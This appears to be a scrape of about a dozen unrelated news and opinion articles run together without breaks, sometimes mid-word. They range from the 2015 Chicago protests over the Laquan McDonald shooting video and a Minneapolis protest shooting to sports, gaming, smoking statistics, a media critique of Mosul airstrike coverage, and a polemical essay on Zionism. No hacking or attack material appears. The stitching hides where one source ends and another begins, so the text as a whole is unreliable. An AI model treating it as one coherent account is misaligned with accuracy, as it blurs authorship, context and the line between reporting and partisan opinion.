Around 1 a.m. for about 15 minutes, hundreds of protesters moving west blocked one of downtown Chicago’s main traffic arteries, Interstate 290. While most stopped at an I-290 on-ramp, others broke through a police line to block cars entering and exiting the interstate.
“You are obstructing the roadway,” an officer said into a megaphone. “If you continue to be up here you will be subject to arrest.”
Editor's note: This video contains graphic content. Chicago police released October 2014 video of police shooting Laquan McDonald, a black 17-year-old. Chicago police officer Jason Van Dyke was charged with first-degree murder. (Chicago Police Department)
Police ordered protesters to disperse, evidently arresting some. Eventually, marchers retraced their route back to State Street and traveled north. What had been a march turned into individual standoffs as temperatures fell. Dog owners walked their animals alongside protesters; a man on a treadmill on the second floor of a building looked down on the rally.
Asked early Wednesday for information about reported arrests, a police department spokesman said no information would be released until morning.
Skirmish amplifying as marchers try to stop police from taking away arrestees. #LaquanMcDonald pic.twitter.com/rnCiCvQ1OJ — Mark Guarino (@markguarino) November 25, 2015
The strange, disturbing social media influence of protests: people posing for stare-offs w/police. #LaquanMcDonald pic.twitter.com/JbTAhlx5Bu — Mark Guarino (@markguarino) November 25, 2015
One protestor skirmish in with police and now crowd is surrounding police to demand he be let go. #LaquanMcDonald pic.twitter.com/MS09g442v7 — Mark Guarino (@markguarino) November 25, 2015
Chicago officials were worried about possible unrest in response to the video’s release. The video depicts Jason Van Dyke, a white 14-year veteran of the police force, drawing his weapon on McDonald, an African American teen carrying a knife.
In the video, as McDonald veers away from officers, Van Dyke begins firing, felling McDonald immediately, and then shoots repeatedly into his prone body. A total of 16 shots were fired — all the ammunition in the officer’s clip. It is rare for a police officer to be charged in a fatal shooting, and the first-degree murder count is the most severe Van Dyke could have faced.
Van Dyke’s mugshot. (Courtesy of the Cook County State’s Attorney’s Office)
Van Dyke’s attorney, Daniel Herbert, said the officer feared for his life when he opened fire. Mayor Rahm Emanuel (D) took another view.
“We hold our police officers to a high standards and obviously in this case Jason Van Dyke violated … basic moral standards that bind our community together,” Emanuel said at a news conference announcing the video’s release.
“The officer in this case took a young man’s life and he’s going to have to account for his actions, and that’s what today is all about,” said Garry F. McCarthy, the Chicago police superintendent.
Laquan McDonald. (Courtesy of the law offices of Jeffrey J. Neslun)
Van Dyke was the only officer to fire at McDonald, who police said used his knife to slash the tires of a squad car when he encountered the officers. He was on the scene near McDonald for less than 30 seconds before he began firing, said Anita Alvarez, the state’s attorney for Cook County, Ill. She said Van Dyke’s actions “were not a proper use of deadly force.”
“He abused his authority, and I don’t believe the use of force was necessary,” Alvarez said. She also said: “With these charges, we are bringing a full measure of justice that this demands.”
An undated autopsy diagram provided by the Cook County Medical Examiner’s office. (AP)
Superintendent McCarthy called on city residents to demonstrate peacefully.
“People have a right to be angry,” he said. “People have a right to protest, people have a right to free speech. But they do not have a right to commit criminal acts.”
[The Washington Post’s database of people fatally shot by police officers this year]
In a statement, the McDonald family asked “for calm in Chicago.”
“No one understands the anger more than us but if you choose to speak out, we urge you to be peaceful,” the statement said. “Don’t resort to violence in Laquan’s name.”
In April, the Chicago City Council approved a $5 million dollar settlement to McDonald’s relatives. But some in the community say they are angry it took Alvarez’s office so long to charge Van Dyke.
1 of 10 Full Screen Autoplay Close Skip Ad × The heated scene on Chicago streets after video of police shooting released View Photos Hundreds of protesters marched after the release of a graphic video showing the killing of a black teenager by a white officer. Caption Hundreds of protesters marched after the release of a graphic video showing the killing of a black teenager by a white officer. Nov. 25, 2015 A woman greets protesters out of a car window during protests in Chicago. Andrew Nelles/Reuters Buy Photo Wait 1 second to continue.
“There is no way this length of time should have gone on so long when the video showed all this evidence,” Michael Pfleger, a Catholic priest in Chicago, said Tuesday. “Shame on them for being so late.”
Chicago is not the only city in American roiled by officer-involved shootings and their aftermath — far from it. The video’s release comes amid intensified scrutiny of police forces following fatal encounters between law enforcement and black men and boys. Police shootings, propelled into the public eye after the killing of Michael Brown in Ferguson, Mo., last year, have led to demonstrations in city streets and debates on college campuses across the country.
Indeed, the rapid developments on Tuesday — an officer charged, a horrific video’s release — recalled similar situations that unfolded this year. In North Charleston, S.C., and Cincinnati, similar videos showing officers fatally shooting black men were released; in both cases, officials announced murder charges the same day. In both cities, protests followed, but they were far less heated than those seen in cities such as Ferguson and New York after grand juries declined to indict officers.
Even as protesters filled Chicago streets, a similar drama unfolded in another large Midwestern city. Police in Minneapolis took three men into custody after gunshots were fired at a “Black Lives Matter” rally, wounding five demonstrators in an attack that inflamed tensions already high over the recent police killing of 24-year-old Jamar Clark, an unarmed black man.
The shooting Monday night, which occurred one block from a police station that protests had centered around, shook demonstrators who nonetheless said they would not be driven away.
“I’m out here to make sure those cowards know that they didn’t scare anybody,” Demetrius Pendleton, 46, who runs a local homeless shelter, said during a march on Tuesday afternoon. “We want to see justice, and we won’t stop until we get it.”
In a Facebook post, Black Lives Matter Minneapolis said that “white supremacists” attacked the group on Monday night “in an act of domestic terrorism,” and the group vowed not to be intimidated.
Police said Tuesday they had three white men in custody: a 23-year-old arrested in Bloomington, a nearby city, as well as a 26-year-old and a 21-year-old who turned themselves in to investigators. A fourth person, a 32-year-old Hispanic man arrested in south Minneapolis, was released after it was determined he was not at the shooting scene, police said.
Minneapolis police said they received multiple 911 calls on Monday night about the gunfire, a block away from the 4th Precinct. All five people, who had been protesting at the police building, suffered non-life-threatening injuries, officials said.
Protesters said the shooting occurred after a group of people — three men and a woman, all wearing ski masks — were seen filming the activity. The people in ski masks went down Morgan Avenue, and some demonstrators followed them.
A fight ensued and then gunshots rang out, said Henry Habu, who has been at the protests since Sunday. Habu said that protesters had been told to watch out for white supremacists wearing masks or camouflage clothing, and said the group filming the demonstrations matched those descriptions.
After the gunfire at 10:40 p.m. on Monday, police said dozens of officers rushed to the scene to investigate. Demonstrators rushed to tend to the injured, and others flocked to the area.
“It was very somber,” said John Jacobson, who said he had arrived 30 minutes later after seeing a Black Lives Matter post on Facebook. “Like a wake, and you’re looking for familiar faces.”
One demonstrator was shot in the leg and was among “four boys on the ground,” said Carrie Brown. “He just kept saying, ‘Don’t leave me, don’t leave me,’” she said.
Federal authorities said Tuesday they were in close contact with local police.
“The Department of Justice is aware of the incident and is coordinating with the Minneapolis Police Department to assess the evidence and determine if federal action is appropriate,” the department said in a statement.
Police have said that Clark, a suspect in an assault, was shot on Nov. 15 when he interfered as paramedics tried to treat the assault victim.
“At some point during an altercation that ensued between the officers and the individual, an officer discharged his weapon, striking the individual,” the Minnesota Department of Public Safety said in a statement.
The officers involved were Mark Ringgenberg and Dustin Schwarze. Both have served with the Minneapolis police for a little over a year, and each has been an officer for a total of seven years, according to the Bureau of Criminal Apprehension, the state agency investigating the shooting. Police have not said which officer fired the fatal shot.
The FBI announced it will conduct its own investigation into Clark’s death. The U.S. attorney’s office in Minnesota and Justice Department prosecutors said they will review evidence to see whether there were any federal civil rights violations.
Some witnesses said Clark was handcuffed when he was shot. Police said that did not appear to be the case. Drew Evans, superintendent of the Bureau of Criminal Apprehension, said authorities were still working to determine whether Clark was handcuffed when he died.
Demonstrators have called on police to release video footage of the shooting. Evans said there is no complete video, though investigators have multiple videos related to the encounter.
A march on Tuesday afternoon was much like those in dozens of American cities in the year since Brown was killed. The crowd danced to Kendrick Lamar’s “Alright,” shouted out the names those killed by police in the last year — Brown, Tamir Rice in Cleveland, Walter Scott in North Charleston — and chanted, “No justice, no peace, prosecute the police.”
“We want justice,” said Jayme Ali, a local minister who marched near the front of the crowd.
Ali, 44, was born and raised here. She said it is time this city address issues of racial inequity, especially in policing. While she attended many of the first days of protests, she had not come out for three days because of an illness.
The shooting of the five activists on Monday night, however, got her back on the street. She wanted to show that she wasn’t afraid. As she marched from the police station to City Hall, her hands gripped a homemade cardboard sign with a warning for the nation: “This could be your city next.”
Lowery reported from Minneapolis and Berman from Washington. Alex Baumhardt in Minneapolis and Lindsey Bever and Michael Miller in Washington contributed to this report.
[This post has been updated. First published: 11:20 a.m.]
Related:
The Post’s database on police shootings
How The Post is tracking these shootings
Unarmed and Black: unarmed black men are seven times more likely than whites to die by police gunfire
Current and former police officers describe tension in current environmentWINNIPEG — Back in his home town and his Bombers having won five straight games, Andrew Harris has made a smooth transition from Vancouver to Winnipeg.
In an interview with ‘The Waggle‘, Harris talks about the team’s remarkable early-season turnaround, the growing chemistry among teammates and what it’s like to be around family.
Hosts James Cybulski and Davis Sanchez talked to Harris about returning home in the off-season with the Winnipeg Blue Bombers.
“There are a lot of people that look up to you and a lot of people looking for big things,” Harris said of those in the community. “When it wasn’t going so well there were a lot of question marks and everyone had the answers on how to fix it.
“I just told people to be patient... Now it’s just great that we’re winning and things are rolling and everyone’s really positive about it.”
For the full interview, stream the link below or click here to download from iTunes or Google Play.
Miss this week’s edition of ‘The Waggle’? Click here to subscribe and download Episode 12, where James and Davis try to diagnose the struggles happening in Montreal and Saskatchewan.'White Nonsense Roundup' is a tool created by two Washington state women to unburden people of color from social media 'race-splaining.'
Layla Tromble & Terri Kempton 'White Nonsense Roundup.'
Racial strife has exploded in America once again. Two Washington state women believe 'White Nonsense Roundup' could play a part in educating and healing.
I titled my Sunday DailyKOS front page article with the provocative headline "Black Lives Matter needs white bodies" for a very particular reason. I figured using the ambiguous term would get more eyeballs to a story that needed more visibility.
The feedback from the article was much more than I expected, good, bad, and indifferent. One particular email piqued my interest. The email suggested that I get in touch with Terri Kempton and Layla Tromble in Washington state. These two women launched the Facebook page 'White Nonsense Roundup' hoping to be a part of the solution.
'White Nonsense Roundup' concept is as follows.
White Nonsense Roundup (WNR) was created by white people, for white people, to address our inherently racist society. We believe it is our responsibility to call out white friends, relatives, contacts, speakers, and authors who are contributing to structural racism and harming our friends of color. We are a resource for anti-racist images, links, videos, artwork, essays, and voices. These can be used by anyone for a DIY white nonsense roundup, or by the WNR team to support people of color upon their request.
They explain how their concept works as follows.
If you are a Person of Color (POC), you have enough on your plate! It’s not your job to educate white people about privilege, racism, and what’s really going on in the world. If a white person is filling your social media with white nonsense – anything from overt racism to well-intentioned problematic statements – tag us and a white person will come roundup our own. We welcome your involvement, resource suggestions, and will take your feedback seriously. We are also happy to boost the signal of voices of color. Let’s walk through an example: some dude decides to respond to your posts with #AllLivesMatter for the 900th time. On Facebook, tag the page “White Nonsense Roundup” and connect us to the chat where this is happening. We will share essays, graphics, research, news articles, and personal examples to take apart their arguments. We are also happy to give praise for those folks taking action and trying to do the right thing, so you’re not stuck handing out cookies. You can also find us on Twitter @nowhitenonsense, or email us at [email protected]. We look forward to supporting you and helping dismantle systemic racism!
Their code of conduct is short, complete, and readable.
We are here to be allies and have difficult conversations with white people about systemic racism. This means we may be invited to personal pages, often in the middle of heated argument and discussion. Our primary job is to share facts, figures, essays, and articles about the existence of systemic racism and the injustice people of color experience on the daily. We also will be focusing on boosting the signal of voices of color, including their experiences, needs, and insight - in their own words. This work includes explaining basic concepts that a white person doesn’t understand or hasn’t heard before. This includes calling out your racist aunt or a coworker’s problematic #AllLivesMatter posts. This includes posting a Black Lives Matter essay by an activist from the movement. This includes supporting and cheering on white people who have stood up for marginalized communities. It also includes contributing to the pool of anti-racist materials, and sharing these materials throughout social media. It does NOT include calling people names. It does NOT include personal insults. It does NOT include trolling individuals and harassing them long after the argument is over. It does NOT include giving yourself a high-five for doing this work. IT MOST DEFINITELY DOES NOT INCLUDE WHITE-SPLAINING. Let’s explore that last one: we are here to support communities of color, and are responsive to their needs and feedback. We never explain racial issues to a non-white person who is living the reality of racism every day. If you are invited in to a conversation, you must respect their space. If they ask you to cool off or back off entirely, leave the conversation immediately. If you are called out for saying something problematic, you must own up to it, apologize directly, and follow their direction for further steps (including leaving the conversation after apologizing). Failing to follow these clear guidelines will result in being asked to leave White Nonsense Roundup. We are white people trying to do our part in fighting widespread racism; it is highly probable that we will mess up. Many of these conversations will be uncomfortable and outside our normal comfort zone. That’s where real change takes place! Let’s do our best to be responsive, apologize as needed, learn from our mistakes, and keep going.
'White Nonsense Roundup' is now recruiting volunteers. If you would like to make a difference in our body politic, consider joining up with these two pioneers.
Also published on Medium.LORTON, VA — The first call to police came from a bystander, reporting that a man and woman were arguing in a grocery store parking lot.
Officers would learn the man, 19, was actually running scared after the woman struck his car intentionally in traffic and then attempted to run over him — all while allegedly claiming the victim was "from ISIS."
According to police, the man was driving to work shortly before 7 a.m. Friday on Ox Road in Lorton when his car was struck from behind by the woman's car.
Fairfax Police shared images of the damaged bumper. "It appears that it was not an accident, but an intentional act," according to a police statement.
The man got out of his car to confront the other driver, when the woman allegedly attempted to hit him with her car, according to police.
He ran into the Giant grocery store parking lot, where witnesses contacted police. The woman eventually fled the scene, but not before claiming the victim was a terrorist, he told WUSA9.
"She was shouting at me talking about how I'm from ISIS," he said. "She didn't know me at all she just said I'm from ISIS, go back to my country and that I had been following her since three this morning."
The woman, whose name has not been released, was taken into custody hours later near her home in Woodbridge, Va. She was transported to a local facility for a mental evaluation, according to police. Criminal charges aren't expected in the case.
"I didn't take it personally, because I know I'm not ISIS," the man told WUSA9.Smoking kills 6 million people per year, including 600,000 from second-hand smoking, according to the World Health Organization (WHO). By 2030, it’s expected to kill 8 million people.
Smoking causes heart attacks, stroke, and emphysema. It also causes cancer in the lung, kidney, head, neck, throat, mouth, and stomach.
“Up to half of all tobacco users will eventually die of a tobacco-related disease,” stated a press release WHO issued for the May 31st ‘No Tobacco Day.’
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won 11 games last season, but the Longhorns are trending in the other direction right now.
25. Missouri Tigers
Key losses: Russell Woods
Key additions: Michael Porter Jr., Blake Harris, Jeremiah Tilmon, Kassius Robertson, C.J. Roberts
First Way-Too-Early ranking: Not ranked
Just four years ago, Missouri mattered. In 2013, the Tigers completed their fifth consecutive trip to the NCAA tournament. And then things fell apart amid scandal in Frank Haith's final season in 2013-2014 and turbulence during the Kim Anderson era that followed. Anderson never had a chance. He immediately lost good players when he arrived and could not reassemble Missouri's image as a pertinent force on the national scene. Two months ago, Missouri athletic director Jim Sterk did what any campus leader must consider when he wants to clean up a mess. He opened his wallet. The seven-year, $21 million deal for Cuonzo Martin, who left Cal to move two hours from his hometown of East St. Louis, Illinois, led to the formation of a recruiting class now ranked sixth in the country by ESPN.com. Martin has Michael Porter Jr., the No. 1 prospect in the 2017 class and the son of assistant Michael Porter Sr. He also has top-100 standouts Blake Harris and Jeremiah Tilmon. C.J. Roberts is a four-star point guard. Canisius grad transfer Kassius Robertson (16.1 PPG) made 41 percent of his 3-point attempts last season. The top three scorers from last year return, too. Oh, and Jontay Porter (ranked 25th in the 2018 class by ESPN.com), may reclassify to player with his brother and father in 2017-18. Missouri matters again.If you read the headlines of major corporate media outlets, you’d think hundreds of Iraqi civilians coincidentally died in the same location that just so happened to be hit by a US airstrike.
A March 17 US attack in the city of Mosul resulted in a massacre of civilians. The monitoring group Airwars estimated that between 130 and 230 Iraqis were killed in the incident. Iraqi media reported similar figures.
Civilian victims of the US-led bombing campaign to oust ISIS from the major northern Iraqi city, which has been terrorized by the extremist group for three years, have received little media coverage.
The Washington Post (3/28/17) noted, nevertheless, that the recent airstrike “was potentially one of the worst US-led civilian bombings in 25 years.”
Yet just a few days before the Post published this stark fact, leading news networks went out of their way to craft some of the most euphemistic headlines imaginable.
ABC News (3/25/17) took the cake, giving its report the disjointed title “US Reviewing Airstrike That Corresponds to Site Where 200 Iraqi Civilians Allegedly Died.” (This story was also syndicated by Yahoo News—3/25/17.)
Note that the Iraqis simply died; they weren’t killed. The airstrike was a mere temporal and geographic coincidence.
The Los Angeles Times (3/25/17) used similarly obfuscatory language, with the headline “US Acknowledges Airstrike in Mosul, Where More Than 200 Iraqi Civilians Died.” This article, which was republished by the Chicago Tribune (3/25/17), made it sound like 200 Iraqis have been killed in all of Mosul.
The day before, however, the LA Times (3/24/17) had printed another report that provided much more context: “More Than 200 Civilians Killed in Suspected US Airstrike in Iraq.”
In a slight improvement, the Washington Post (3/25/17) at least used the word “killed”—or, rather, “Allegedly Killed”—for its story: “US Military Acknowledges Strike on Mosul Site Where More Than 100 Were Allegedly Killed.”
But it was not just American outlets that used such watered-down language. France 24 (3/25/17) wrote, underwhelmingly, “US-Led Coalition Confirms Strike on Mosul Site Where Civilians Died.”
Headlines are the most important part of news articles; they greatly influence what the public thinks about political issues. In fact, studies show that most Americans don’t read beyond headlines.
These latest whitewashed titles are remarkably reminiscent of those composed to cover (up) a previous high-profile US massacre of civilians: the October 2015 US bombing of a Doctors Without Borders–operated hospital in Kunduz, Afghanistan (FAIR.org, 10/5/17). The New York Times published a masterpiece of propaganda with the headline “US Is Blamed After Bombs Hit Afghan Hospital.” Ambiguous language, heavy use of the passive voice and awkward wording abounded.
Some ostensible news outlets even contradicted themselves in reporting on the recent Mosul attack. Right-wing website the Daily Caller (3/27/17) published an article misleadingly headlined “Iraq: ISIS, Not US, Responsible For Killing 200 Civilians.” Author Saagar Enjeti tried to exculpate the US for the atrocity, instead blaming ISIS. Yet in his piece, Enjeti was compelled to acknowledge that the details were murky, and that an Iraqi officer had said “the blast was caused by an airstrike called on ISIS snipers on the roof of a building.”
Later, when the commander of the US-led task force fighting ISIS tepidly admitted, “My initial assessment is that we probably had a role in these casualties [in Mosul],” slightly more direct reports slowly came trickling out. But even after the dust settled and the facts became clearer, media continued to downplay their severity.
In one of the more eyebrow-raising headlines, the New York Times ran a story on the front page on March 29 with the paltry headline “US Concedes It Played a Role in Iraqi Deaths.” (It appeared online on March 28 with the “US ‘Probably Had a Role’ in Mosul Deaths, Commander Says.”)
What was that role, exactly? Well, carrying out the airstrike that killed them. But let’s not split hairs.
While major corporate media largely echoed the US government line, independent left-wing news outlets, on the other hand, were immediately much more straightforward in their reporting. “With 200+ Iraqi Civilians Feared Dead, Carnage Surging Under Trump,” wrote Common Dreams (3/26/17), for instance.
Little Media Attention
Given the extreme brutality of ISIS, a genocidal Salafi jihadist group that has slaughtered civilians from religious and ethnic minority groups in Iraq and Syria, it is perhaps understandable that much of the media attention is on its crimes.
But the atrocities committed by the forces fighting it cannot be ignored. Such an approach is a recipe for disaster, as the so-called Islamic State has demonstrated a tendency to exploit Western atrocities for propaganda and recruitment.
Little ink has been spilled in the US media for those victims, nonetheless. According to the monitoring group Airwars, as many as 1,000 civilians were killed by US-led coalition actions in Iraq and Syria just in the month of March (Democracy Now!, 3/27/17).
Many more civilians have been killed in the past two years (Intercept, 8/3/15), yet their deaths have received little attention by major corporate news networks, even when they may help fuel the very extremist group whose monstrousness was used to justify them.
In fact, the US dropped more than 12,000 bombs on Iraq (and another 12,000 on Syria) in 2016 alone, with little media scrutiny.
There was no real public discussion, let alone political debate, about whether or not US bombing ISIS would be a good idea, not to mention whether or not Western airstrikes can actually defeat a guerilla extremist group like ISIS (Extra!, 11/14). After all, it was the illegal US-led invasion and subsequent decade-long military occupation of Iraq, in addition to intervention in the war in Syria, that led to the rise of the hyper-sectarian Islamic State in the first place.
To its credit, the Washington Post (3/24/17) published another article, amid the widespread media whitewashing of the Mosul airstrike, titled “Airstrike Monitoring Group Overwhelmed by Claims of US-Caused Civilian Casualties.” The newspaper acknowledged:
In the last week, three mass casualty incidents have been attributed to US-led forces in Iraq and Syria, making March one of the most lethal months for civilians in the the two-year-old war against the Islamic State.
Defenders of corporate media might argue that news outlets had to craft carefully worded headlines as the US government was still investigating the attack. But again, this simply reflects media’s deference to power. If the government says something, there are countless journalists waiting in line to obediently echo it. Corporate media have a long, tried-and-true history of acting as stenographers to power.
The Art of Euphemism and Inconstant Skepticism
A quick look at other instances in which media employ this kind of euphemistic language is instructive. These whitewashing tools are reserved almost exclusively for reports on the crimes of those in power.
Police frequently benefit from this linguistic sleight-of-hand. When cops shoot and kill unarmed civilians, the deaths are referred to as “officer-involved shootings” (FAIR, 7/11/16).
A crutch is made out of the passive voice. Cops don’t fire their guns and shoot people; their guns are magically “discharged,” as if of their own accord.
“Alleged” is ubiquitous and abused: Police “allegedly” shot someone, media insist, even when there is video of the cops shooting them.
These tricks are employed even more frequently, and egregiously, in reports on atrocities committed by the US and its allies. And while media outlets invariably give the US the benefit of the doubt, Western enemies are not afforded the same luxury.
In Syria, for instance, civilian casualty estimates after airstrikes carried out by the Syrian government and Russia are reported exclusively based on the accounts of rebels and “activists,” some of whom have received extensive support from foreign countries committed to overthrowing the Syrian government (AP, 11/29/15, 4/28/16, 11/19/16; Reuters, 1/11/16; CNN, 9/26/16).
The incredulity exhibited in the reports on the US attack in Mosul starkly contrasts with the dogmatic certitude reflected in the incessant barrage of thinly sourced stories on Syria, Russia, North Korea, Iran, Cuba, Venezuela, China and beyond.
This is how US media operate: Staunch skepticism is reserved for reports on the crimes of the US and its allies, whereas rumors and myths are reported as facts when they shine negatively on government enemies.
Ben Norton is a journalist and writer based in New York City. You can find him on Twitter at @BenjaminNorton.According to Bloomberg Markets, Rand Paul's third largest campaign contributor was ordered to pay $296 million to the family of a teenage girl who was killed when a butane pipeline operated by the company exploded. The damages awarded by the jury were so high because the company "acted with malice because it had been aware of the extreme risks of using the faulty pipeline." The girl's father watched in horror as his daughter and her friend were burned to death in the explosion.
The same campaign contributor, according to Bloomberg, paid $35 million to settle two lawsuits over pipeline leaks that caused over 300 oil spills in six states.
Last week, in a story that was widely reported about Rand Paul's single-handed blocking of a new pipeline safety bill, the Associated Press reported that "Officials familiar with Paul’s objections said he has told lobbyists and company officials that he’s not opposed to any specific part of the bill, just to the notion of additional federal regulation."
Now the question has to be asked whether Rand Paul's actions are grounded in his libertarian distaste for government regulation, or whether they are a nod to the sensitivities of one of his most important campaign contributors.
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Louisville.com's The Arena section features opinions from active participants in the city's politics. Their viewpoints are not those of Louisville.com (a website is an inanimate object and, as such, has no opinions).
Photo: courtesy of newmy51Share. Wait and see. Wait and see.
It's what everyone's been wondering after seeing the third and final trailer for Star Wars: The Force Awakens. Where is Luke Skywalker? The hero of the original trilogy has been conspicuously absent from the new film's trailers and marketing (save for what is assumed to be Luke in that image of a hooded figure reaching out to R2-D2).
In a red carpet chat with Associated Press, Force Awakens director J.J. Abrams would only say that Luke's absence from the trailers is "no accident." See for yourself what Abrams had to say about the Luke mystery and the reaction to the latest trailer in the interview below:
Abrams also said that the film's final cut will be finished before the visual effects are completed in the next few weeks, and added that there's still one more scoring session left to do with composer John Williams.
So why do you think Abrams and Co. have kept Luke Skywalker under wraps but have revealed Force Awakens' Han, Leia, Chewie, and the droids? Sound off in the Comments!The Falcons will finally move out of the Georgia Dome, where they've resided since 1992, in the 2017-18 season. But those with the new "Madden NFL 17" will be able to play in the stadium long before then. Mercedes-Benz Stadium opens in Year Two of the game's Franchise Mode.
This represents the third consective edition of "Madden" that has featured a stadium set to open the next year. With "Madden NFL 15" it was Levi's Stadium for the 49ers while "Madden NFL 16" offered the opportunity to play with the Vikings in U.S. Bank Stadium, which is ready for this season.
MORE: Winners, losers from "Madden NFL 17" player ratings
The other big addition for the game is LA Memorial Coliseum, the temporary home for the Rams until their new stadium opens in 2019. Major renovations can be found with the Dolphins' newly named Hard Rock Stadium, along with Tampa Bay and Jacksonville. The skyline behind the north end of CenturyLink Field has also been updated for the Seahawks.
"Madden NFL 17" features a brand new commentary team, new special moves for ball-carriers, considerable improvements to AI on defense and lots of overdue work to special teams. Rob Gronkowski is on the cover of the game releasing Aug. 23, but those with a subscription to EA Access on Xbox One can play for 10 hours right now. Amazon Prime members get 20 percent off pre-orders for both the standard and deluxe editions.
Bryan Wiedey posts sports gaming news and analysis daily at Pastapadre.com, is co-founder of the sports gaming site HitThePass.com, hosts the Press Row Podcast, and be reached on Twitter @Pastapadre.The forthcoming Rift Wars has been championed by the Oculus Rift core audience for some time. It’s a linear shooter that follows the design loop of Starfox while being set in a universe with visuals not too dissimilar to that of Geometry Wars. Developer James Andrew, founder of PixelRouter VR, readily admits these influences, suggesting that the transition from standard monitors to virtual reality (VR) is important for all genres.
“VR is the future of gaming.” States Andrew when discussing the reasons why Rift Wars is being designed exclusively for the Oculus Rift. “In order to create experiences which take advantage of the new medium, we need to introduce mechanics into the gameplay which simply don’t translate to a traditional control scheme. For example, in Rift Wars we make use of Head Tracking for locking on to the gems. Could we make a screen-only version of this game? Yes, but I’m not sure we ever will because we’d have to change the mechanics so much that it would be a different game.”
PixelRouter VR are invested in VR, as their name might suggest, and Rift Wars is most certainly a project that is intending to be around for the long haul.
“We are very excited to see what kinds of things become possible with positional tracking. If anyone at Oculus is reading this and wants to send us a DK2 early, we would love to get going on this.” Offers Andrew when questioned about the future of Rift Wars.
A demo version of Rift Wars is currently available as a free download from the official Oculus Share website, and VRFocus will bring your the full question and answer session with PixelRouter VR next week.When Israel was founded, there was hope among progressive Jews that the new country could rely on the best traditions of Judaism and teach the world how to navigate the shoals of bigotry and injustice, a vision that remains unfulfilled, as Lawrence Davidson describes.
By Lawrence Davidson
An ideologue is someone who sees the world in the limiting terms of a doctrine or dogma. It is limiting because the human world does not operate or evolve according to any one dogma. Therefore ideologues must wear blinders that result in tunnel vision – a tunnel which, like a Procrustean bed, tries to force the world to fit their chosen ideology.
There are hundreds of ideologies out there, both religious and secular, and in every case the resulting tunnel vision eventually results in absurdities – claims about the world that, seen from outside of the ideology, make little or no sense. So it is with the ideology of Zionism and the doctrinaire interpretations its adherents make about their own behavior and the behavior of others who oppose them.
One such proponent of Zionist ideology is David Harris, the Executive Director of the American Jewish Committee (AJC). The AJC describes its mission as “to enhance the well-being of the Jewish people and Israel.” This is a point of dogma for the Zionists – that the well-being of the Jewish people and Israel are bound together. I am often confronted with Harris’s ideological take on events because, curiously, he has me on his mailing list.
David Harris’s View
On Oct. 11, Harris posted an essay on the ongoing violence in Israel-Palestine. It is entitled “Attacks Against Israelis: The World’s Silence Is Deafening” and the entire piece can be found both on the Huffington Post and The Times of Israel. The essay seeks to promote a picture of Israeli victimhood. As such it opens up a clear window on the Zionist’s view of the present situation and therefore is worth taking a look at.
What I am going to do is take representative segments from Harris’s essay and show how the grievances he reserves for Israelis seem somehow wrong when considered from outside the Zionist perspective. Indeed, as Harris’s complaint about the “world’s silence” in the face of violence against Israelis suggests, for many people, his picture of Israeli victimhood is quite untenable. Because his ideology will not allow him to consider the possibility of Israel’s responsibility for the present violence, the world’s “silence” leaves him aggrieved and bewildered.
Here then are some representative parts of Mr. Harris’s essay. He starts this way: “For days now, I have been watching in dismay as Israeli citizens face random attacks, some deadly, by Palestinian assailants on the streets of their cities and towns. Children have been orphaned, parents have lost children, and some survivors are doubtless scarred for life.”
It is true that individual Israelis have been hurt or killed in the recent past in apparently random attacks by Palestinians. Unfortunately, this is as far as Harris’s understanding goes. Thus, his tunnel vision renders invisible other perspectives, such as the possibility that dead and injured Israeli Jews, like the Palestinians themselves, are victims of the aggressive Zionist society and culture they live in, the government and laws they obey, and the racist policies they tolerate.
Given this perspective the present Palestinian violence becomes understandable as a product of anger and frustration caused by Israeli occupation and long-standing discrimination against Israeli Arabs. There has been no need for an indoctrination of hate by Hamas or any other religiously inspired group (a favorite red herring of Zionist ideologues) to explain Palestinian actions. Israeli policies and practices in and of themselves are quite sufficient.
Harris cannot perceive, much less understand, this perspective. Yet, in ever greater numbers, the people outside of Israel can see that any portrayal of Israeli victimhood is in conflict with an objective reading of the history of the Israeli-Palestinian struggle.
David Harris continues, “And I’ve been wondering, not for the first time, what it would take for the world to wake up and acknowledge that Israel, the lone liberal democracy in the Middle East, is facing violence that must be condemned unequivocally, and that it, like any other nation, has the obligation to defend itself.”
This “wondering” is also a product of Mr. Harris’s constricted view. There has never been any Zionist complaint, from Harris in particular, about the world’s silence while the Palestinians experience “liberal” Israel’s ethnic bias and occupation. Nor did he and his fellows take note of the world’s silence when Palestine’s own 2006 democratic election was suppressed by Israel and its American ally.
It is exactly this silence in the face of Palestinian suffering that has left Israeli power in place and allowed for its oppressive use. Yet this particular silence has no place in Harris’s ideologically constructed world.
Harris goes on, “It’s striking how some otherwise intelligent and thoughtful people in government, media, or think tanks, just shut down their critical faculties. Instead, they resort to a Pavlovian response mechanism that essentially rejects any possible legitimacy for the Israeli position and blindly defends whatever Palestinian narrative comes along.”
As noted above, an ideological outlook usually leads to absurdities. The truth is that until recently the Zionist narrative on Israel-Palestine held a monopoly in the West. Now, finally, Israel’s consistent apartheid-like practices are being noticed and as a result that monopoly is crumbling.
The best Harris can do is evoke a fictional “Pavlovian mechanism” to explain the responses to Israeli policies. Nonetheless, the weakening of the Zionist narrative is at an early stage, which means that, even now, it is often not the Israeli narrative that has to fight its way into the media, think tanks and government councils. It is the Palestinian one.
There is much more to Harris’s missive, and almost every paragraph is shaped by the doctrinal demands of his ideology. The ersatz victimhood he claims for the Israelis is, in fact, a measure of the resulting distortion. For he, and his fellow Zionists, have stolen that depiction of suffering from their own victims, the Palestinians. Such is the power of ideological blinders.
To pull off this reversal of roles and posit the Israelis as victims of the Palestinians, Harris’s essay must leave out the seminal fact that for the past 67 years Israel has possessed overwhelming power. With this power Israel has oppressively controlled almost every aspect of Palestinian life. The inevitable result is the violence of resistance. Israelis who suffer from that violence should take this reality into consideration. But, few of them can do this.
The explanation for this inability brings us back to the problem of tunnel vision. Consider the following: many Palestinians can understand Western Jewish history, including the Holocaust, and recognize how it shapes, though ultimately cannot excuse, Zionist behavior. This ability to understand is facilitated by the fact that the Palestinians were not responsible for the suffering of Western Jewry.
Unfortunately, the Zionists can’t reciprocate by understanding the history that drives Palestinian behavior. They cannot do so because their ideology precludes the possibility that they are, in fact, responsible for Palestinian suffering. Ideologues are not known for their skill at self-criticism.
One of the most renowned Jewish journalists, I. F. Stone, once said, referring to his own Jewish brethren, “how we act toward the Arabs will determine what kind of people we become: either oppressors and racists in our turn like those from whom we have suffered, or a nobler race able to transcend the tribal xenophobias that afflict mankind.”
Well, the verdict is in, at least for those Jews who adhere to the Zionist ideology. For them “oppression and racism” has won out. And so has denial – just read David Harris.
